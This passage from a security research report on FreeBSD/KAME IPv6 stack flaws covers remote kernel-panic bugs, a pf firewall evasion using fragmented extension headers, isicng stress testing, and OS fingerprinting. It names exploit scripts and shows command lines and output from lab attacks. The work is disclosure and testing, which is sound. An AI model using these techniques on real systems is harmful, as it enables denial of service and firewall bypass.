and len=768, in m pulldown(), hlen and tlen will be equal respectively to 4
(44 - 40 ) and 764 (768 - 4 ) and if we assume that there is enough space at
the begining of mbuf2 to store 4 bytes (hlen), our if-statement is true and
executed. The 4 bytes from the first mbuf will be copied into the second
mbuf. m len and m data from the two first mbufs are correctly updated, off
is set to 0 and n->m next is returned with a m len field value equals to 438
which is less than the 768 bytes, expected by IP6 EXTHDR GET() (len - tmp)
due to the remaining amout of data -we want continous- in the third mbuf.
Figure 4 shows the mbuf chain after this call to m pulldown().

Figure 4: mbuf chain after m pulldown()

6.1.7.3 Exploitation

Even if FreeBSD does not share exactly the same m pulldown() function
with NetBSD and OpenBSD, they are all three vulnerable to this issue.
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kame-pulldown-dos.c is a program that tries to reproduce this situation de-
scribed above by sending enough IPv6 packets with a routing header having
a large length field. This field will be passed to IP6 EXTHDR GET() as the
len parameter (fifth).

6.1.8 udp6 input() udbinfo unlocking vulnerability

This issue affects only the -CURRENT (7.0) version of FreeBSD and is
due to an udbinfo unlocking whereas it was not locked before. This issue was
introduced in udp6 usrreq.c file revision 1.62 where some locks was made in
udp6 input() to protect lookups of the inpcb lists during UDPv6 packet
receipt.

udp6 input() vulnerable code
1 i n t
2 udp6 input (mp, o f fp , proto )
3 ( . . . )
4 ip6 = mtod(m, s t r u c t ip6 hdr ∗ ) ;
5 ( . . . )
6 plen = ntohs ( ip6−>i p 6 p l en ) − o f f + s i z e o f (∗ ip6 ) ;
7 ulen = ntohs ( ( u shor t )uh−>uh ulen ) ;
8

9 i f ( p len != ulen ) {
10 udpstat . udps badlen++;
11 goto bad ;
12 }
13 ( . . . )
14 INP INFO RLOCK(&udbinfo ) ;
15 ( . . . )
16 bad :
17 INP INFO RUNLOCK(&udbinfo ) ;
18 bad unlocked :
19 i f (m)
20 m freem (m) ;
21 ( . . . )

At first, this function ensures that UDPv6 header length field is equal
to the IPv6 header length field. If it is not the case, it jumps onto the
bad label where udbinfo is unlocked. Nevertheless, udbinfo is locked after
this statement, so in this case, it is not yet locked leading to a possible
kernel panic when kernel will try to unlock it. By this way an attacker can
simply send a malformed UDP packet with a length field different than the
legitimate one. fbsd-udp6-dos.c reproduces these things and has successfully
triggered a kernel panic on a FreeBSD-CURRENT box.
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To fix this issue, we must jump to bad unlocked label instead of bad one
when ulen is different than plen.

6.1.9 soreveive() NULL pointer dereference.

This issue was pointed out by Ryota Hirose through a bug report (83885),
so all credits goes to him. Briefly this issue is about a NULL pointer def-
erence that might occur when soreceive() proceeds a control only packet
leading to a kernel panic, remotely exploitable in certain case.

6.1.9.1 Technical details

soreceive() function transfers data from the receive buffer of the socket
to the buffers specified by the process. Generally it transfers packet data
payload but additional control informations (e.g. ancillary data) may be
present and returned to the process. What is ancillary data ? A process
can ask the kernel to return more informations than the data payload itself
through call to setsockopt(), this information is returned to the process
into a cmsghdr. For instance IPV6 RECVRTHDR asks the kernel to return
routing extension headers.

The problem is that soreceive() does not catch the case when there is
only control informations present into the socket buffer which is the case for
icmpv6 toobig packet when IPV6 RECVPATHMTU was set by the process.

soreceive() vulnerable code
1 i n t
2 s o r e c e i v e ( so , psa , uio , mp0 , contro lp , f l a g s p )
3 ( . . . )
4 {
5 ( . . . )
6 m = so−>s o r cv . sb mb ;
7 ( . . . )
8 i f (m != NULL && m−>m type == MTCONTROL) {
9 ( . . . )

10 do {
11 ( . . . )
12 so−>s o r cv . sb mb = m−>m next ;
13 m−>m next = NULL;
14 ∗cme = m;
15 cme = &(∗cme)−>m next ;
16 m = so−>s o r cv . sb mb ;
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17 ( . . . )
18 } whi le (m != NULL && m−>m type == MTCONTROL) ;
19

20 i f ( ( f l a g s & MSG PEEK) == 0)
21 sockbuf pushsync(&so−>so rcv , nextrecord ) ;
22

23 /∗
24 ∗ proce s s c on t r o l in fo rmat ion (cme)
25 ∗/
26

27 nextrecord = so−>s o r cv . sb mb−>m nextpkt ;
28

29 ( . . . )
30

31 /∗
32 ∗ proce s s payload data
33 ∗/
34 }
35 }

With this code snippet, the vulnerability is pretty simple to understand.
so->so rcv.sb mb is the socket receive buffer. At line 6, m points to this
buffer. From line 10 to 18, control information are processed. The loop
walks through the mbuf m chain (i.e. packet(s) received) and put into cme
all control related data (e.g. routing header). When it finishes m and
therefore so->so rcv.sb mb must now point to the data payload but they
might be set to NULL if it was a control only packet (e.g. icmpv6 toobig).
In this special case, at line 27, when kernel will try to set nextrecord to the
next record that appears in the receive buffer, a page fault will be generated
leading to a kernel panic because kernel tries to access to an unallocated
memory area (around address 0x0).

6.1.9.2 Exploitation

Exploitation of this issue is fairly simple and can be in certain case trig-
gerred remotely. For instance if we have a daemon that asks the kernel to
notify it about mtu change by setting the IPV6 RECVPATHMTU socket
option, when kernel receives an icmpv6 toobig message targeting this dae-
mon, the icmpv6 packet will be considered as control information only and
kernel will panic.
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I have made a simple exploit program that target UDP daemon that use
IPV6 RECVPATHMTU socket option. It can be reached here. Addition-
ally, a sample vulnerable udp daemon can be download here.

soreceive() first fix
1 }
2 − nextrecord = so−>s o r cv . sb mb−>m nextpkt ;
3 + i f ( so−>s o r cv . sb mb )
4 + nextrecord = so−>s o r cv . sb mb−>m nextpkt ;
5 + e l s e
6 + nextrecord = NULL;
7 o r i g r e s i d = 0 ;
8 }

As we can see this issue has been fixed by ensuring that so->so rcv.sb mb
is not NULL before setting up nextrecord. Therefore, if we have a control
only information packet in the receive buffer, nextrecord will be set to NULL
and only ancillary data will be transfered to the userland process. On the
other hand if we have a data packet in the receive buffer, so->so rcv.sb mb
is not NULL and nextrecord is set to points to the next packet in the receive
buffer. This fix seems to be good but does it really cover all possible situ-
ations ? Jinmei has answered to this question through another bug report
and he has found a situation when the kernel can bump out (e.g. ignore) a
packet leading to a possible kernel panic.

6.1.10 soreceive() invalid next packet identification

This issue was pointed out by Jinmei Tatuya through a bug report (99779),
all credits goes to him. This issue is related to the fix introduced in the
previous issue described just above.

soreceive() first fix
1 }
2 − nextrecord = so−>s o r cv . sb mb−>m nextpkt ;
3 + i f ( so−>s o r cv . sb mb )
4 + nextrecord = so−>s o r cv . sb mb−>m nextpkt ;
5 + e l s e
6 + nextrecord = NULL;
7 o r i g r e s i d = 0 ;
8 }

As I said above, this patch ensures that so->so rcv.sb mb is not NULL
before nextrecord assignment. If so->so rcv.sb mb is NULL, it sounds like
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that there was only one control only data packet in the receive buffer and
therefore nextrecord must be set to NULL too.

But if we look more in depth into soreceive(), we can notice that just
before control information processing, sockbuf pushsync() is called with
both so->so rcv and nextrecord as arguments. What does this function do
?

sockbuf pushsync()
1 s t a t i c i n l i n e void
2 sockbuf pushsync ( s t r u c t sockbuf ∗sb , s t r u c t mbuf ∗ nextrecord )
3 {
4 ( . . . )
5 i f ( sb−>sb mb != NULL)
6 sb−>sb mb−>m nextpkt = nextrecord ;
7 e l s e
8 sb−>sb mb = nextrecord ;
9 ( . . . )

10 }

Purpose of this function is, on the whole, to cleanup the receive buffer.
But as you can see it updates our receive buffer pointer (so->so rcv.sb mb)
with original nextrecord if it is NULL. As before calling nextrecord points to
the next packet in the receive buffer if there is one data packet following our
icmpv6 control only toobig message. So so->so rcv.sb mb won’t be NULL
and when kernel encounters ’if (so->so rcv.sb mb)’ introduced by the fix
it will set nextrecord to NULL (so->so rcv.sb mb->m nextpkt) while nex-
trecord should still point to our data packet. Depending on how nextrecord
is handled in the data processing packet and after, this issue could lead to
strange behavior that might cause a kernel panic.

6.1.10.1 Demonstration

This issue is more difficult to reproduce since vulnerable userland pro-
grams have to set up more socket options. In my opinion only icmpv6
related daemons/programs can be targeted. Indeed, the targeted program
must set the appropriate socket options (e.g. IPV6 RECVPATHMTU and
IPV6 ICMPFILTER) to receive toobig packets (for example) as both con-
trol information and data. Thus in this case, when it receives icmpv6 toobig
message, kernel will add two “packets” in the receive buffer, one that only
consists of control informations (e.g. mtu) gleaned in the icmpv6 toobig
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message followed by another one which is the icmpv6 toobig message it-
self (data). This behavior can be triggerred by specifying ’-v’ parameter to
ping6. With this parameter, ping6 acts in verbose output and thus it sets
filter to capture all icmpv6 packets and IPV6 RECVPATHMTU to receive
mtu change as ancillary data. So to reproduce this issue, I just ran ping6
-v PC2 and on the other side (PC2), I started a home made python script
that sends a bunch of icmpv6 toobig packets with the spoofed icmpv6 echo
request packet as payload (inner packet). The script can be reached here.

PC1# ping6 -m -v PC2
PING6(56=40+8+8 bytes) 2001:618:400:8f80:208:a1ff:fe9f:c49a
--> 2001:618:400:8f80:208:a1ff:fe9f:c494
16 bytes from 2001:618:400:8f80:208:a1ff:fe9f:c494, icmp_seq=0
hlim=64 dst=2001:618:400:8f80:208:a1ff:fe9f:c49a%1 time=1.871 ms
(...)

PC2# python fbsd-soreceive-ping-dos.py -s PC2 -d PC1 -i ral0
(...)

PC1# ping6
(...)
16 bytes from 2001:618:400:8f80:208:a1ff:fe9f:c494, icmp_seq=5
hlim=64 dst=2001:618:400:8f80:208:a1ff:fe9f:c49a%1 time=0.814 ms
new path MTU (1280) is notified
^C^C^C^C

At this moment, on PC1, ping6 blocks and does not respond to my
SIGINT. Is Kernel fucked up ?

PC1# dmesg | tail
(...)
nextrecord = 0xc3075700
before pushsync() => so->so_rcv.sb_mb = NULL - m = NULL
after pushsync() => so->so_rcv.sb_mb = 0xc3075700 - m = NULL

Yes. Debugging printf() put into soreceive() say that behavior de-
scribed above and in Jinmei’s bug report has occured. Now if I kill -9 ping6,
kernel panics in sbdrop locked() when it tries to cleanup receive socket
buffers.

(...)
(kgdb) f 3
#3 0xc062b886 in sbdrop_locked (sb=0xdc4c59dc, len=132)

at /usr/src/sys/kern/uipc_socket2.c:1104
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1104 panic("sbdrop");
(kgdb) list
1099 next = (m = sb->sb_mb) ? m->m_nextpkt : 0;
1010
1101 while (len > 0) {
1102 if (m == 0) {
1103 if (next == 0)
1104 panic("sbdrop");
1105 m = next;
1106 next = m->m_nextpkt;
1107 continue;
1108 }
(kgdb) print sb->sb_mb
$1 = (struct mbuf *) 0x0
(kgdb) print len
$2 = 132
(kgdb) print next
$3 = (struct mbuf *) 0x0

This debugging session shows that kernel tries to reach in vain mbuf
related to the bumped out packet in order to m free() it and panics because
it has reached the end of the receive buffer chain (m = next = NULL) and
len is still greater than zero.

6.1.11 Toobig messages that generate broken packets

This issue concerns almost all IPv6 related products (stacks, firewalls,
routers) and is due to a lack of informations in RFCs about fragmentation
handling. Indeed, in section 4.2 we have seen that when KAME receives
a “toobig” message with a small mtu, future packets in destination to the
concerned nodes have always an ipv6 fragmentation extension header even if
their size is lower than the minimum authorized mtu (1280). By this way we
have only one packet with a valid (offset = MF = 0) fragmentation header.
The problem is that IPv6 RFC does not mention anything about that kind
of packets. Are they valid or not ? That is the question and vendor answers
to it differently (ignore or not).

For instance, ipfw, the FreeBSD packet filter, drops immediately these
kind of packets without processing any rules and pf, the OpenBSD packet
filter, with certain scrubbing rules drops it if their payload size is less than
32 bytes which is the case for some packets like TCP SYN or ACK. Microsoft
and USAGI IPv6 stack do the same thing than KAME when they receive
this kind of “toobig” message.
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To reproduce this behavior, we can use frag6.py by specifying identical
fraglen and packet size arguments.

Example with ipfw

pouik# ip6fw list
65535 allow ip6 from any to any
plouf# python frag6.py -i ral0 -d pouik -D 00:08:a1:9f:c4:9a -f 512 -l 512
(...)
pouik# tcpdump -i ral0 ip6
tcpdump: verbose output suppressed, use -v or -vv for full
protocol decode listening on ral0, link-type EN10MB (Ethernet),
capture size 96 bytes
13:55:37.473172 IP6 2001:618:400:8f80:208:a1ff:fe9f:c494 >
2001:618:400:8f80:208:a1ff:fe9f:c49a: frag (0|504) ICMP6, echo request,
seq 0, length 504
pouik# dmesg | tail -1
IPFW2: IPV6 - Invalid Fragment Header

Our fragmented packets are dropped by ipfw. Let’s disable it before
re-doing our test.

pouik# ipfw disable firewall
plouf# python frag6.py -i ral0 -d pouik -D 00:08:a1:9f:c4:9a -f 512 -l 512
(...)
pouik# tcpdump -i ral0 ip6
tcpdump: verbose output suppressed, use -v or -vv for full
protocol decode listening on ral0, link-type EN10MB (Ethernet),
capture size 96 bytes
13:58:32.085438 IP6 2001:618:400:8f80:208:a1ff:fe9f:c494 >
2001:618:400:8f80:208:a1ff:fe9f:c49a: frag (0|504) ICMP6,
echo request, seq 0, length 504
13:58:32.085577 IP6 2001:618:400:8f80:208:a1ff:fe9f:c49a >
2001:618:400:8f80:208:a1ff:fe9f:c494: ICMP6, echo reply,
seq 0, length 504

Without any firewall, KAME responds correctly to these kind of packets.
Indeed, if you look at ipfw chk() source code listed below we can see that
packets with a fragmentation header are dropped if more fragment and offset
fields are both set to zero.

ipfw chk() from ip fw2.c
1 case IPPROTO FRAGMENT: /∗ RFC 2460 ∗/
2 PULLUP TO( hlen , ulp , s t r u c t i p 6 f r a g ) ;
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3 o f f s e t = ( ( s t r u c t i p 6 f r a g ∗) ulp)−> i p 6 f o f f l g &
4 IP6F OFF MASK;
5 /∗ Add IP6F MORE FRAG fo r o f f s e t o f f i r s t
6 ∗ fragment to be != 0 . ∗/
7 o f f s e t |= (( s t r u c t i p 6 f r a g ∗) ulp)−> i p 6 f o f f l g &
8 IP6F MORE FRAG;
9 i f ( o f f s e t == 0) {

10 p r i n t f ( ”IPFW2: IPV6 − I nva l i d Fragment ”
11 ”Header\n” ) ;
12 i f ( fw deny unknown exthdrs )
13 re turn (IP FW DENY) ;
14 break ;
15 }

I have made some tests on different OSes and firewalls. Results are
presented in the table below. “Yes” means that the product has responded
correctly to our packet. Firewalls seem to be particularly affected by this
issue.

Kame pf (with scrubbing) ipfw WinXP Usagi iptables
32 bytes Yes No No Yes Yes Yes

1024 bytes Yes Yes No Yes Yes Yes

7 FreeBSD KAME robustness against malformed
packets

Vulnerabilities are probably the main enemy of IP stacks and applications
in general. However, an IP stack and its userland daemon must also handle
malformed packets, floods, fragmentated packets. . . in a fashion way to not
disturb other legitimate connections. For example while being flooded with
malformed router solicitation/advertisement messages rtadvd must be still
able to deliver router advertisement correctly. This section describes some
tests with their results completed with isicng suite to prove the robustness
of the FreeBSD/KAME stack and its userland daemons against bunch of
malformed packets.

7.1 What is ISICNG and how to use it

ISICNG stands for IP Stack Integrity Checker New Generation, and con-
sists of different tools that were made to test IPv6 stack and its components
implementation:
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• isicng - allow to generate bunch of random ipv6 packets with random
extension headers.

• tcpsicng - allow to generate bunch of random tcp/ipv6 packets.

• udpsicng - allow to generate bunch of random udp/ipv6 packets.

• icmpsicng - allow to generate bunch of icmpv6 packets.

• ipcompsicng - allow to generate bunch of ipcomp packets.

• tunsicng - allow to generate bunch of ipv6 packets encapsulated into
ipv4 packets.

Each tool has its own options (e.g. percentage of routing extension
header for isicng) but there are also some general options. The following are
some interesting options that will be useful in some tests.

• ’-r’ - Specify the random seed. By using this option, you will be able
to re-generate an exact same bunch of packets. With the ’-p’ and ’-k’
options, it can be very useful in order to spot an evil packet.

• ’-k’ - Specify the number of packets ISICNG must skip. It must be
used with ’-r’ option in order to spot an evil packet.

• ’-p’ - Specify the number of packets to generate.

• ’-m’ - Specify the maximum number of KB/sec packets to gener-
ate. Without this option ISICNG will try to use the maximum speed
(around 15K packets per second on a recent system) and packets may
get dropped.

• ’-s’ - Source ipv6 address. String ’rand’ is used in order to have random
ipv6 source address.

• ’-L’ - Specify how many (in percent) link-local address must be gener-
ated when -s was set to ’rand’.

• ’-A’ - Same as above but with site local address.

• ’-d’ - Destination ipv6 address.
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7.1.1 What to monitor ?

During the attack, we must monitor some particular points on the at-
tacked system and spot abnormally (e.g. memory exhaustion). The follow-
ing points would help to spot abnormally and must be monitored.

• Memory abnormalities (e.g. Memory leak). Most of the generated
packets are invalid and thus any memory fall during and after the
attack needs to be investigated.

• CPU increasing (e.g. Infinite loop). CPU increase is normal and
tolerable during the attack especially when the bunch of generated
packets is high (e.g. flood). However, CPU must return in its normal
state after the attack is stopped.

• Other connections. It is tolerable to have other legitimate connections
slowed down while flooding but it must kept alive and echo latencies
must remain acceptable.

To monitor these points, we can setup a kind of monitoring tool like Na-
gios or mrtg. Personally, I use symon, a simple lightweight system monitor
written by Willem Dijkstra.

7.1.2 Some interesting uses of isicng

This section describes some useful uses of isicng in order to target special
parts of IPv6 stacks or userland daemons.

7.1.2.1 Router advertisement daemon

Router advertisement daemons are tools that send router advertisement
packets periodically, as well as response to router solicitation messages sent
by link local hosts. With isicng we can tests these daemons by calling
icmpsicng in this way.

# icmpsicng -s rand -d target -L 80 -A 10 -r 1 -m 1000
-H 255 -F 0 -Q 0 -J 0 -G 0 -C 0 -B 0 -V 0
-I 0 -T 0 -R 0 -E 0 -U 0 -M 0 -W 0
-R 80 -N 20

With this command, icmpsicng will generate ICMPv6 router/neighbor
discovery packets with a valid IPv6 header (-V 0) without any extension
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header and with a hop limit fixed to 255. I have run this command against
rtadvd and I have not mentioned any abnormal behavior (e.g. segfault) and
rtadvd was able to deliver valid router advertisement while it was under
attack.

7.1.2.2 Extension headers handling.

With IPv6, there are now some extension headers that can be added to
the IPv6 header. ISICNG allows user to specify which extension headers he
wants.

• ’-O’ - destination option extension header.

• ’-H’ - hop-by-hop option extension header.

• ’-R’ - routing extension header.

• ’-F’ - fragmentation extension header.

• ’-E’ - ipsec esp extension header.

• ’-A’ - ipsec authentication extension header.

• ’-M’ - maximum extension headers per packet.

These extension headers have been also added into icmpsicng. For in-
stance to generate bunch of IPv6 packets with only routing extension head-
ers, we can use this command.

# isicng -s rand -d target -V 0 -M 10 -F 0 -R 100 -H 0 -O 0 -E 0
-A 0 -I 0 -m 2000

’-I’ argument specifies the number of packets in percent that will have
an invalid IPv6 header length field. It has been set to 0 because KAME
immediately ignores these kind of packets. Graphs (figures 5 and 6) plotted
during this attack that do not show neither memory falling nor strange cpu
increasing.

In this manner, we can also check integrity of IPsec stacks with ’-A’ and
’-E’ arguments. However, more investigations must be made around IPSec
and I plan to release an ipsecsicng that will able to target almost all parts
of IPSec stacks in isicng future version.

7.1.2.3 TCP/IPv6 stack
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Figure 5: CPU load during routing extension header attack

Figure 6: Memory usage during routing extension header attack

On FreeBSD/KAME, TCP stack is shared between IPv4 and IPv6. In
other words, KAME uses the old TCP/IPv4 stack to handle its TCP packet.

tcp6 input()
1 i n t
2 t cp6 input (mp, o f fp , proto )
3 {
4 /∗
5 ∗ some san i ty checks .
6 ∗/
7 t cp input (m, ∗ o f f p ) ;
8 re turn IPPROTO DONE;
9 }

Therefore, tcpsicng will probably find the same problems inside TCP
stack than tcpsic, tool from the initial ISIC suite. However, tcpsicng could
be used to reveal some issues located outside TCP stack code (e.g. firewall).
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tcpsicng has the same options than its brother tcpsic :

• Source and destination port can be specified at the end of the source
and destination addresses separated with a comma ’,’.

• ’-t’ - Specify the number of packets in percent that will have a valid
TCP checksum.

• ’-u’ - Specify the number of packets in percent that will have an urgent
pointer field different than 0.

• ’-T’ - Specify the number of packets in percent that will have TCP
options -i.e. offset field different than 5-

For instance in order to generate some random packets targeting desti-
nation port 80, we can use this command.

# tcpsicng -s rand -d dead::beef,80 -t 100 -T 5 -u 5 -V 0 -F 0 -r 1

7.1.2.4 UDP/IPv6 stack

Contrary to TCP, on FreeBSD/KAME, UDP/IPv6 stack has got its own
functions (e.g. udp6 input()) and does not share too much code with UD-
P/IPv4 stack. By this way, udpsicng might be useful to trigger new bugs or
vulnerabilities in these new parts of code in kernel land.

Like tcpsicng, udpsicng has the same features than its little brother,
udpsic.

• Source and destination port can be specified at the end of the source
and destination addresses separated with a comma ’,’.

• ’-U’ - Specify the number of packets in percent that will have an invalid
UDP checksum.

In this way, we can made some tests targeting opened and closed UDP
ports and record performance. These results came from KAME IPv6 stacks.

# udpsicng -s rand -d 2001:618:400:8f80:213:d3ff:fe35:af88,5000
-F 0 -V 0 -U 0 -L 5 -A 5

As you can see on graphs 7, 8, 9 and 10, whether ports are opened or not,
results are logically different and prove the efficiency of the KAME stack. It
rejects UDP packets targeting a closed port without causing too much load
balancing or memory falling. In the meantime, both results show that CPU
and memory states remain OK after the attack.
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Figure 7: CPU load when UDP port is opened

Figure 8: Memory usage when UDP port is open

Figure 9: CPU load when UDP port is closed

7.1.2.5 ICMPv6 stack
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Figure 10: Memory usage when UDP port is closed

ICMPv6 is much more powerful and contains new functionality than
ICMPv4. For instance IGMP function (Multicast Management) and Ad-
dress resolution (ARP) have been incorporated into ICMPv6. By this way,
ICMPv6 stack can not use the old ICMPv4 stack and had to be rewritten
from scratch introducing possible bugs or vulnerabilities. Thus, icmpsicng
was made in a way that allows users to target particular part of the ICMPv6
stack by generating specific ICMPv6 packets. The following gives some use-
ful options supported by icmpsicng.

• ’-H’ - Fix the hoplimit field in the IPv6 header.

• ’-T’ - Specify the number of toobig packets.

• ’-R’ - Specify the number of redirect packets.

• ’-E’ - Specify the number of echo request/reply packets.

• ’-U’ - Specify the number of unreachable packets.

• ’-M’ - Specify the number of MLD (Multicast Listener Discovery) pack-
ets.

• ’-W’ - Specify the number of node information query/reply packets.

• ’-N’ - Specify the number of neighbor discovery packets.

• ’-O’ - Specify the number of router discovery packets.

• ’-P’ - Specify the number of packets that will have option headers.
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This options list is non-exhaustive and it does not cover all the ICMPv6
packets. Other options (e.g. Mobility) will be added in the next releases.
However, with these options, we can target specific parts of the ICMPv6
stack and also ICMPv6 userland daemons/programs as we have seen in
previous section (7.1.2.1) with rtadvd.

For instance, let us stress the KAME node information messages handling.
Node information messages give the capability to provide, forward and re-
verse name lookups independent of the DNS by sending packets directly to
IPv6 nodes or groups of nodes.

# icmpsicng -s rand -d 2001:618:400:8f80:213:d3ff:fe35:af88
-W 100 -r 1 -m 8000

In this way, icmpsicng will send to 2001:618:400:8f80:213:d3ff:fe35:af88
plenty of ICMPv6 node information malformed packets without any exten-
sion header. Figures 11 and 12 show CPU and memory usages recorded
during this “attack” on a FreeBSD box. Memory falls a bit but it is mainly
due to the high speed packet generation (8000kb/s) and it is correctly re-
leased later. On the other side CPU remains very stable, node information
messages processing does not require too many operations.

Figure 11: CPU load during node information messages flood

Memory falls a bit during this “attack” but it is mainly due to the high
speed generation of packets (8000kb/s) and it is correctly released after it.
On the other side CPU remains very stable, node information messages
processing does not require too many operations.
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Figure 12: Memory usage during node information messages flood

8 Firewalling with IPv6

To ensure secure deployment of IPv6 networks, security products like
firewalls have to support IPv6 very quickly without any troubles and it is
not so easy than it appears. Indeed, thanks to extension headers and other
new features, firewalls must not continue to handle IPv6 packets like IPv4.
IPv4 header has a well known sized header with some possible well known
options and it is particularly easy to find the beginning of the layer 4 header
(e.g. TCP) whereas IPv6 header can be followed by one, two, three or more
IPv6 extension header(s) making harder the location of the layer 4 header.
In this section, we will see that we can easily bypassing/evading firewalls
using features offered by IPv6 (e.g. extension headers chaining, end-to-end
fragmentation). These possible attacks have been tested against pf, the
powerful OpenBSD firewall used by Net, Free, OpenBSD and good old ipfw
still used in FreeBSD. These researches were made at the end of this Summer
of Code and further investigations must be done.

8.1 Extension headers chaining with fragmentation.

This trick imports and improves the tiny fragmentation attack to IPv6.
This IPv4 attack targets especially IDS or IPS and consists by cutting a
packet into multiple fragments in order to put the layer 4 header into the
second or next fragments. By this way, silly security products will analyze
only the first fragment and will accept the entire reassembled packet. With
IPv6, thanks to extension headers, it becomes easy to fragment a packet and
to put the layer 4 header into the second fragment. To do this we only need
an extension header that do nothing and leave the reassembled packet valid.
It is the case of the destination options extension header and its padding
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feature.
Destination options header carries optional information that is examined

by the destination node only. Within this information, we have two options
used to ensure a proper alignment that do nothing. These two options
are called Pad1 and PadN options. The Pad1 option is used to insert one
octet of padding whereas PadN is used if more than one octet of padding
is required. So attack is simple. We will split up our packet into two
fragments. In the first one, we put the IPv6 header plus the fragmentation
and destination extension headers and in the second one, we put the layer 4
header plus payload. In this way we can have a first fragment that fits the
IPv6 minimum MTU size with the sensitive data into the second fragment.

After some tests between pf, ipfw and netfilter, it seems that only pf,
the OpenBSD firewall, is vulnerable to this attack.

8.1.1 Demonstration

obsd-pf-urb6.py is a python script that implements the fragmentation at-
tack described above. It sends a first fragment with a dummy destination
options header filled with enough Pad1 bytes and a second one with an UDP
datagram inside. Whenever rules we add into pf, our hidden UDP packet
will always hit the concerned userland daemon or will generate an icmpv6
port unreachable if port is closed.

gruik# pfctl -s all | grep inet6
pass in quick on ral0 inet6 proto udp all
gruik# nc -6 -u -l 5000
(...)
pouik# nc gruik 5000
GNI
(...)
pouik# python -i ral0 -d 2001:618:400:8f80:208:a1ff:fe9f:c494

-D 00:08:a1:9f:c4:94 -p 5000 -P OWN3D
-s 2001:618:400:8f80:208:a1ff:fe9f:c49a
-S 00:08:a1:9f:c4:9a

(...)

In both case, string ’GNI’ is correctly printed out on gruik box. Now let
us drop anything related to UDP and IPv6.

gruik# pfctl -s all | grep inet6
block drop in quick on ral0 inet6 proto udp all
gruik# nc -6 -u -l 5000
(...)
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pouik# nc gruik 5000
GNI
(...)

With netcat and this UDP dropping rule, nothing is printed
out on gruik box. Our packet has been dropped. Let us now
use our trick.

pouik# python -i ral0 -d 2001:618:400:8f80:208:a1ff:fe9f:c494
-D 00:08:a1:9f:c4:94 -p 5000 -P GNI
-s 2001:618:400:8f80:208:a1ff:fe9f:c49a
-S 00:08:a1:9f:c4:9a

(...)

And ’GNI’ is printed out on our gruik box. pf seems
to have not seen anything.

8.2 ipfw printf() memory consumption.

This issue is due to a kernel land printf() that can be triggerred re-
motely by sending IPv6 packets with an unknown next header field.

ipfw chk()
1 whi le ( ulp == NULL) {
2 switch ( proto ) {
3 ( . . . )
4 case IPPROTO TCP:
5 ( . . . )
6 case IPPROTO FRAGMENT:
7 ( . . . )
8 de f au l t :
9 p r i n t f ( ”IPFW2: IPV6 − Unknown Extension ”

10 ”Header(%d ) , ext hd=%x\n” , proto , ext hd ) ;
11 i f ( fw deny unknown exthdrs )
12 re turn (IP FW DENY) ;
13 ( . . . )

At first sight, it seems inoffensive but let’s see the graph (figure 13)
plotted during a basic isicng attack.

During this attack, around 2000 packets per second were generated and
available memory has felt from 90mo to 50mo in less than two minutes.
Packets can have a small size (ipv6 header size) allowing us to generate
more packets and to trigger more printf()s. The same issue occurs in the
processing of routing extension headers where a printf() is called each time
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Figure 13: Huge memory falling due to ipfw

ipfw encounters an unknown routing header type field. ipfw-mem-own.c is
a program able to reproduce this behavior.

To fix this issue, we can add a kind of printf() rate limit or simply
disable these printf(). When I have done this test my kern.consmsgbuf size
sysctl variable was set to 8192, so I do not think that tweaking this variable
can overcome this issue.

9 OS detection via IPv6

This section discusses new tricks, discovered along this summer of code,
on how to glean some informations about a remote node by querying its
IPv6 stack. Indeed, IPv6 protocol introduces new features like end-to-end
fragmentation, extension headers, icmpv6 and so on and due to a lack of
information in RFCs or a miss or poor implementation of them, some OSes
that implement IPv6, might respond differently to certain packets.

9.1 An alone fragment

We have seen in section 6.1.11 that only one fragment may be discarded
by certain IPv6 products according to its size. For instance, pf does not
repond to these kind of packets if their payload size is lower than 32 bytes
and if some scrubbing rules are set whereas ipfw drops them whatever their
size is without specific rules set. osfp6-alone-fragm.py is a script that im-
plements this fingerprint trick. It sends five icmpv6 echo request messages
encapsulated into alone fragments with different sizes and print out if node
has reponded or not.
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Demonstration against pf with ’scrub in all’ rule set.

pouik# python osfp6-alone-fragm.py -i ral0
-d 2001:618:400:8f80:208:a1ff:fe9f:c494
-s 2001:618:400:8f80:208:a1ff:fe9f:c49a
-S 00:08:a1:9f:c4:9a -D 00:08:a1:9f:c4:94 -t 1

+ Alone fragment with size 16: NO response
+ Alone fragment with size 32: NO response
+ Alone fragment with size 128: YES, get response
+ Alone fragment with size 512: YES, get response
+ Alone fragment with size 1280: YES, get response

9.2 UDP destination port zero

An UDP datagram with a destination port of 0 is illegal and must be
rejected immediately. In FreeBSD, this is true for IPv4 but not for IPv6,
there is no check made around destination port in udp6 input() before
calling in6 pcblookup hash() to locate a pcb corresponding to the inbound
UDP datagram. If in6 pcblookup hash() does not found any pcb it returns
NULL and an icmpv6 port unreachable message is sent in reply to the source
node. On the other side, both, OpenBSD and NetBSD drop these kind of
packets without sending any icmpv6 error message. This behavior might
allow an user to identify a FreeBSD box. osfp6-udp0.py is a script that
reproduces this behavior and tells if node has responded or not.

Demonstration against a FreeBSD box.

gnuck# python osfp6-alone-fragm.py -i ral0
-d 2001:618:400:8f80:208:a1ff:fe9f:c49a
-s 2001:618:400:8f80:208:a1ff:fe9f:c494
-S 00:08:a1:9f:c4:94 -D 00:08:a1:9f:c4:9a

+ UDP datagram with dport = 0 sent...
+ I am waiting a response.
+ Get reply from 2001:618:400:8f80:208:a1ff:fe9f:c49a with an icmpv6 type
136 and code 0.

This issue will be probably fixed into future FreeBSD releases.

9.3 Random ID in Fragmentation Header

Identification field in a fragmentation header is an 4 bytes integer gen-
erated by the source node in order to identify all packets belonging to the
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original packet. By this way, like TCP/ISN implementation, each operat-
ing system handles identification field into fragmentation header in different
manners, some OSes use a simple plus one increment like Windows or Linux
whereas other OSes use a strong random number generator like OpenBSD
since 3.5 and FreeBSD since RELENG 5. Previous version of KAME used
a plus one increment started with a random initial identification value con-
trory to Linux and Windows which both start incrementation at zero. With
this in mind, an user can guess what OS is running on a remote box by
examining identification field into fragmentation extension header. To force
a remote node generation fragmented packets we can send oversized echo
request messages or use some toobig message to force remote node to insert
a fragmentation header to all outbound packets as we have seen in section
6.1.11. osfp6-fragment-id.py is a script that sends plenty of oversized icmpv6
echo request messages and tells fragmentation identification values chosen
by the remote node.

Demonstration against a OpenBSD box.

pouik# python osfp6-fragment-id.py -i ral0
-d 2001:618:400:8f80:208:a1ff:fe9f:c494
-s 2001:618:400:8f80:208:a1ff:fe9f:c49a
-S 00:08:a1:9f:c4:9a -D 00:08:a1:9f:c4:94 -n 5

3209224792
3273096041
4121604700
2651977064
2439442071

And demonstration against linux-ipv6.org.

